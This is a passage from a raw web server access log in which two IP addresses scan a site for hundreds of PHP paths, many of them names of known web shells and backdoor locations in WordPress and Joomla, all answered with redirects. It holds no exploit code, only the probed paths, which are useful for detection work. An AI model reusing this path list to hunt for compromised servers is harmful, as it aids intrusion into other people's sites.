"Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:37 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:39 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:41 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:43 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:45 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:49 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:54 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:56 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:51:59 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:04 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:08 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:11 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:14 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:21 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:24 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:29 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:32 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:36 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:38 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:42 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:45 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:47 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:50 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:53 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:56 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:52:58 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:01 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:03 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:07 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:09 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:11 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:16 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:17 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:19 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:25 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:29 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:31 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:34 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:38 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:41 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:44 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:48 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:51 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:53:58 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:03 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:07 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:10 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:12 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:16 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:19 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:24 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:28 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:31 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:40 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:42 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:44 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.68.75.117 - - [12/Apr/2025:12:15:15 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:19 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:22 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:24 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:26 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:26 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:27 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:27 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:28 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:28 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:29 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:30 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:30 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:31 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:33 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:34 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:35 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:37 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:38 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:39 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:40 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:40 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:41 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:42 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:42 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:44 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:44 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:45 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:46 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:46 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:48 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:49 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:51 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:52 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:54 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:56 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:56 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:57 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:15:59 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:00 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:02 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:02 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 167.172.21.236 - - [12/Apr/2025:11:54:47 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:51 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:54 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:56 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:54:59 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:55:02 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:55:04 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:55:07 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.68.75.117 - - [12/Apr/2025:12:16:04 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:05 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:07 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:08 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:08 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:09 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:10 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:10 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:10 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:11 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:11 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:12 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:12 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:13 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:13 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:14 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:14 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:17 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:17 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:17 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:18 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:19 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:19 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:20 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:20 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:20 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:21 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:21 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:22 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:12:16:22 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - 